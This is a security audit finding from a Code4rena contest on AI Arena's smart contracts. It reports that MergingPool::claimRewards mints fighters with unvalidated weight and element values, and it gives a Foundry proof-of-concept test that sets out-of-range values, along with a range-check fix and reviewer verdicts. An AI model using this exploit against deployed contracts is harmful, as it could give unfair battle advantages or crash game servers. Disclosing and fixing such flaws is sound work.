Fighters can be minted with out of range `weight`, and `element` attributes via `MergingPool::claimRewards()`

[c4-bot-6]

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L158
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L329

Vulnerability details

Impact

Any weight, and element can be set for a freshly fighter minted via the MergingPool.

Those attributes are crutial for the results of off-chain battles. Out of range values may lead to crashes on the server due to out of index errors, or they may even give an unfair advantage to the fighter (as battle attributes are a function of the weight).

Reference to Docs

Vulnerability Details

The problem is that minting a fighter from FighterFarm::mintFromMergingPool() allows to pass any set of customAttributes[]. Those attributes aren't validated either on the calling function MergingPool::claimRewards().

    function mintFromMergingPool(
        address to, 
        string calldata modelHash, 
        string calldata modelType, 
👉      uint256[2] calldata customAttributes
    ) public {
        require(msg.sender == _mergingPoolAddress);
        _createNewFighter(
            to, 
            uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
            modelHash, 
            modelType,
            0,
            0,
👉          customAttributes
        );
    }

FighterFarm.sol#L329

For any value != 100, the custom attributes will set the corresponding element and weight of the minted fighter.

Note that there is no further validation. The following POC will prove that no validation actually exists for those attributes.

Proof of Concept

• Add the test to test/MergingPool.t.sol
• Run forge test --mt "testClaimRewardsOutOfRangeValues"

function testClaimRewardsOutOfRangeValues() public {
    // Mint two tokens to have two different winners
    _mintFromMergingPool(_ownerAddress);
    _mintFromMergingPool(_DELEGATED_ADDRESS);

    // Pick the two winners
    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1;
    _mergingPoolContract.pickWinner(_winners);

    // Set model
    string[] memory _modelURIs = new string[](1);
    string[] memory _modelTypes = new string[](1);
    _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
    _modelTypes[0] = "original";

    // Set INVALID values for element and weight
    uint256[2][] memory _customAttributes = new uint256[2][](1);
    _customAttributes[0][0] = uint256(666666666666666666);  // element
    _customAttributes[0][1] = uint256(9999999999999999999); // weight

    // The minting is done successfully
    _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

    // The new fighter has invalid weight and element attributes
    (,,uint256 weight, uint256 element,,,) = _fighterFarmContract.getAllFighterInfo(2);
    assertEq(weight, 9999999999999999999);
    assertEq(element, 666666666666666666);
}

Recommended Mitigation Steps

Add a validation to check that the element, and weight values are on the expected ranges:

+    require(weight >= 65 && weight <= 95);
+    require(element < numElements[generation[fighterType]]);

Assessed type

Invalid Validation

[c4-pre-sort]

raymondfam marked the issue as insufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #226

[c4-judge]

HickupHH3 marked the issue as satisfactory